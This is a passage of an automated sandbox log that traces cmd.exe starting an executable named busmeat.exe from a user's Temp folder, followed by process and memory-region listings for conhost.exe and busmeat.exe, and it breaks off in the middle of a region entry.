	[0061.673] _wcsicmp (_String1="REM", _String2="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe") returned 15
	[0061.673] _wcsicmp (_String1="REM/?", _String2="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe") returned 15
	[0061.674] GetConsoleTitleW (in: lpConsoleTitle=0x9c2409f8f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
	[0061.674] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0061.674] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0061.674] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x9c2409f480, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x9c2409f460, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x9c2409f460*=0xd2ca4def, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0061.675] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51
	[0061.675] SetErrorMode (uMode=0x0) returned 0x0
	[0061.675] SetErrorMode (uMode=0x1) returned 0x0
	[0061.675] GetFullPathNameW (in: lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\.", nBufferLength=0x208, lpBuffer=0x9c24287bb0, lpFilePart=0x9c2409f190 | out: lpBuffer="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp", lpFilePart=0x9c2409f190*="Temp") returned 0x24
	[0061.675] SetErrorMode (uMode=0x0) returned 0x1
	[0061.675] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\.") returned 1
	[0061.675] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff649ca8680, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0061.677] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0061.678] FindFirstFileExW (in: lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe", fInfoLevelId=0x1, lpFindFileData=0x9c2409ef10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9c2409ef10) returned 0x9c24286bf0
	[0061.678] FindClose (in: hFindFile=0x9c24286bf0 | out: hFindFile=0x9c24286bf0) returned 1
	[0061.678] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2
	[0061.678] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3
	[0061.678] GetConsoleTitleW (in: lpConsoleTitle=0x9c2409f470, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
	[0061.678] InitializeProcThreadAttributeList (in: lpAttributeList=0x9c2409f390, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x9c2409f290 | out: lpAttributeList=0x9c2409f390, lpSize=0x9c2409f290) returned 1
	[0061.678] UpdateProcThreadAttribute (in: lpAttributeList=0x9c2409f390, dwFlags=0x0, Attribute=0x60001, lpValue=0x9c2409f27c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x9c2409f390, lpPreviousValue=0x0) returned 1
	[0061.678] GetStartupInfoW (in: lpStartupInfo=0x9c2409f320 | out: lpStartupInfo=0x9c2409f320*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0061.678] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0061.678] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0061.678] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0061.678] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0061.678] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0061.678] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0061.678] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0061.678] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0061.678] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3
	[0061.678] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3
	[0061.678] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0061.678] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0061.679] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0061.679] lstrcmpW (lpString1="\\busmeat.exe", lpString2="\\XCOPY.EXE") returned -1
	[0061.680] CreateProcessW (in: lpApplicationName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe", lpCommandLine="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x9c2409f2b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x9c2409f298 | out: lpCommandLine="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe", lpProcessInformation=0x9c2409f298*(hProcess=0x8c, hThread=0x88, dwProcessId=0xef8, dwThreadId=0xefc)) returned 1
	[0062.378] CloseHandle (hObject=0x88) returned 1
	[0062.378] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0062.378] GetEnvironmentStringsW () returned 0x9c2428bb60*
	[0062.378] FreeEnvironmentStringsA (penv="=") returned 1
	[0062.379] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) 

Thread:
	id = 20
	os_tid = 0xef4


Process:
	id = "4"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x1008f000"
	os_pid = "0xee0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "3"
	os_parent_pid = "0xed0"
	cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\Windows"
	os_username = "LHNIWSJ\\CIiHmnxMn6Ps"
	os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001714b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 407
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 408
	        start_va = 0x9b9ea00000
	          end_va = 0x9b9ea1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000009b9ea00000"
	        filename = ""

Region:
	              id = 409
	        start_va = 0x9b9ea20000
	          end_va = 0x9b9ea33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000009b9ea20000"
	        filename = ""

Region:
	              id = 410
	        start_va = 0x9b9ea40000
	          end_va = 0x9b9ea7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000009b9ea40000"
	        filename = ""

Region:
	              id = 411
	        start_va = 0x7df5ff920000
	          end_va = 0x7ff5ff91ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff920000"
	        filename = ""

Region:
	              id = 412
	        start_va = 0x7ff6c3f10000
	          end_va = 0x7ff6c3f32fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6c3f10000"
	        filename = ""

Region:
	              id = 413
	        start_va = 0x7ff6c3f3c000
	          end_va = 0x7ff6c3f3cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c3f3c000"
	        filename = ""

Region:
	              id = 414
	        start_va = 0x7ff6c3f3e000
	          end_va = 0x7ff6c3f3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c3f3e000"
	        filename = ""

Region:
	              id = 415
	        start_va = 0x7ff6c4950000
	          end_va = 0x7ff6c4960fff
	     entry_point = 0x7ff6c4950000
	     region_type = mapped_file
	            name = "conhost.exe"
	        filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe")

Region:
	              id = 416
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 417
	        start_va = 0x9b9eb70000
	          end_va = 0x9b9ec6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000009b9eb70000"
	        filename = ""

Region:
	              id = 418
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 419
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 420
	        start_va = 0x9b9ea00000
	          end_va = 0x9b9ea0ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000009b9ea00000"
	        filename = ""

Region:
	              id = 421
	        start_va = 0x9b9ea10000
	          end_va = 0x9b9ea16fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000009b9ea10000"
	        filename = ""

Region:
	              id = 422
	        start_va = 0x9b9ea80000
	          end_va = 0x9b9eb3dfff
	     entry_point = 0x9b9ea80000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 423
	        start_va = 0x9b9eb40000
	          end_va = 0x9b9eb40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000009b9eb40000"
	        filename = ""

Region:
	              id = 424
	        start_va = 0x9b9eb50000
	          end_va = 0x9b9eb56fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000009b9eb50000"
	        filename = ""

Region:
	              id = 425
	        start_va = 0x9b9eb60000
	          end_va = 0x9b9eb60fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000009b9eb60000"
	        filename = ""

Region:
	              id = 426
	        start_va = 0x9b9ec70000
	          end_va = 0x9b9ecaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000009b9ec70000"
	        filename = ""

Region:
	              id = 427
	        start_va = 0x9b9ecb0000
	          end_va = 0x9b9ee37fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000009b9ecb0000"
	        filename = ""

Region:
	              id = 428
	        start_va = 0x9b9ee40000
	          end_va = 0x9b9ee40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000009b9ee40000"
	        filename = ""

Region:
	              id = 429
	        start_va = 0x9b9ee80000
	          end_va = 0x9b9ee8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000009b9ee80000"
	        filename = ""

Region:
	              id = 430
	        start_va = 0x9b9ee90000
	          end_va = 0x9b9f010fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000009b9ee90000"
	        filename = ""

Region:
	              id = 431
	        start_va = 0x9b9f020000
	          end_va = 0x9ba041ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000009b9f020000"
	        filename = ""

Region:
	              id = 432
	        start_va = 0x7ff6c3e10000
	          end_va = 0x7ff6c3f0ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6c3e10000"
	        filename = ""

Region:
	              id = 433
	        start_va = 0x7ff6c3f3a000
	          end_va = 0x7ff6c3f3bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c3f3a000"
	        filename = ""

Region:
	              id = 434
	        start_va = 0x7ffbf6a10000
	          end_va = 0x7ffbf6a62fff
	     entry_point = 0x7ffbf6a10000
	     region_type = mapped_file
	            name = "conhostv2.dll"
	        filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll")

Region:
	              id = 435
	        start_va = 0x7ffbfd5b0000
	          end_va = 0x7ffbfd732fff
	     entry_point = 0x7ffbfd5b0000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 436
	        start_va = 0x7ffc015f0000
	          end_va = 0x7ffc01625fff
	     entry_point = 0x7ffc015f0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 437
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 438
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 439
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 440
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 441
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 442
	        start_va = 0x7ffc02160000
	          end_va = 0x7ffc022bbfff
	     entry_point = 0x7ffc02160000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 443
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 444
	        start_va = 0x7ffc03bb0000
	          end_va = 0x7ffc03cf0fff
	     entry_point = 0x7ffc03bb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 445
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")


Thread:
	id = 16
	os_tid = 0xee4


Thread:
	id = 17
	os_tid = 0xee8


Thread:
	id = 18
	os_tid = 0xeec


Thread:
	id = 19
	os_tid = 0xef0


Process:
	id = "5"
	image_name = "busmeat.exe"
	filename = "c:\\users\\ciihmn~1\\appdata\\local\\temp\\busmeat.exe"
	page_root = "0x10499000"
	os_pid = "0xef8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "3"
	os_parent_pid = "0xed0"
	cmd_line = "C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "LHNIWSJ\\CIiHmnxMn6Ps"
	os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001714b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 456
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 457
	        start_va = 0x30000
	          end_va = 0x31fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 458
	        start_va = 0x40000
	          end_va = 0x53fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 459
	        start_va = 0x60000
	          end_va = 0x9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000060000"
	        filename = ""

Region:
	              id = 460
	        start_va = 0xa0000
	          end_va = 0x19ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000a0000"
	        filename = ""

Region:
	              id = 461
	        start_va = 0x400000
	          end_va = 0xb48fff
	     entry_point = 0x400000
	     region_type = mapped_file
	            name = "busmeat.exe"
	        filename = "\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\busmeat.exe")

Region:
	              id = 462
	        start_va = 0x77c40000
	          end_va = 0x77db8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 463
	        start_va = 0x7ffb0000
	          end_va = 0x7ffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007ffb0000"
	        filename = ""

Region:
	              id = 464
	        start_va = 0x7ffdb000
	          end_va = 0x7ffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffdb000"
	        filename = ""

Region:
	              id = 465
	        start_va = 0x7ffde000
	          end_va = 0x7ffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffde000"
	        filename = ""

Region:
	              id = 466
	        start_va = 0x7ffdf000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffdf000"
	        filename = ""

Region:
	              id = 467
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 468
	        start_va = 0x7fff0000
	          end_va = 0x7ffc03e6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fff0000"
	        filename = ""

Region:
	              id = 469
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 470
	        start_va = 0x7ffc04032000
	          end_va = 0x7ffffffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ffc04032000"
	        filename = ""

Region:
	              id = 473
	        start_va = 0x1a0000
	          end_va = 0x1a3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001a0000"
	        filename = ""

Region:
	              id = 474
	        start_va = 0x1b0000
	          end_va = 0x1b1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001b0000"
	        filename = ""

Region:
	              id = 475
	        start_va = 0x2b0000
	          end_va = 0x2bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002b0000"
	        filename = ""

Region:
	              id = 476
	        start_va = 0x59300000
	          end_va = 0x5934efff
	     entry_point = 0x59300000
	     region_type = mapped_file
	            name = "wow64.dll"
	        filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")

Region:
	              id = 477
	        start_va = 0x59360000
	          end_va = 0x593d2fff
	     entry_point = 0x59360000
	     region_type = mapped_file
	            name = "wow64win.dll"
	        filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")

Region:
	              id = 478
	        start_va = 0x59350000
	          end_va = 0x59357fff
	     entry_point = 0x59350000
	     region_type = mapped_file
	            name = "wow64cpu.dll"
	        filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")

Region:
	              id = 479
	        start_va = 0xd00000
	          end_va = 0xdfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000d00000"
	        filename = ""

Region:
	              id = 480
	        start_va = 0x76970000
	          end_va = 0x76ae5fff
	     entry_point = 0x76970000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")

Region:
	              id = 481
	        start_va = 0x77670000
	          end_va = 0x7775ffff
	     entry_point = 0x77670000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")

Region:
	              id = 482
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 483
	        start_va = 0x1c0000
	          end_va = 0x27dfff
	     entry_point = 0x1c0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 484
	        start_va = 0x74c40000
	          end_va = 0x74cd0fff
	     entry_point = 0x74c40000
	     region_type = mapped_file
	            name = "apphelp.dll"
	        filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll")

Region:
	              id = 485
	        start_va = 0x7feb0000
	          end_va = 0x7ffaffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007feb0000"
	        filename = ""

Region:
	              id = 486
	        start_va = 0x20000
	          end_va = 0x23fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 487
	        start_va = 0x2c0000
	          end_va = 0x2fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002c0000"
	        filename = ""

Region:
	              id = 488
	        start_va = 0x300000
	          end_va = 0x3fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000300000"
	        filename = ""

Region:
	              id = 489
	        start_va = 0x74ce0000
	          end_va = 0x74d38fff
	     entry_point = 0x74ce0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll")

Region:
	              id = 490
	        start_va = 0x74d40000
	          end_va = 0x74d49fff
	     entry_point = 0x74d40000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")

Region:
	              id = 491
	        start_va = 0x74d50000
	          end_va = 0x74d6dfff
	     entry_point = 0x74d50000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")

Region:
	              id = 492
	        start_va = 0x74d70000
	          end_va = 0x74eaffff
	     entry_point = 0x74d70000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")

Region:
	              id = 493
	        start_va = 0x76ca0000
	          end_va = 0x76decfff
	     entry_point = 0x76ca0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")

Region:
	              id = 494
	        start_va = 0x77090000
	          end_va = 0x77249fff
	     entry_point = 0x77090000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll")

Region:
	              id = 495
	        start_va = 0x77250000
	          end_va = 0x77292fff
	     entry_point = 0x77250000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")

Region:
	              id = 496
	        start_va = 0x77430000
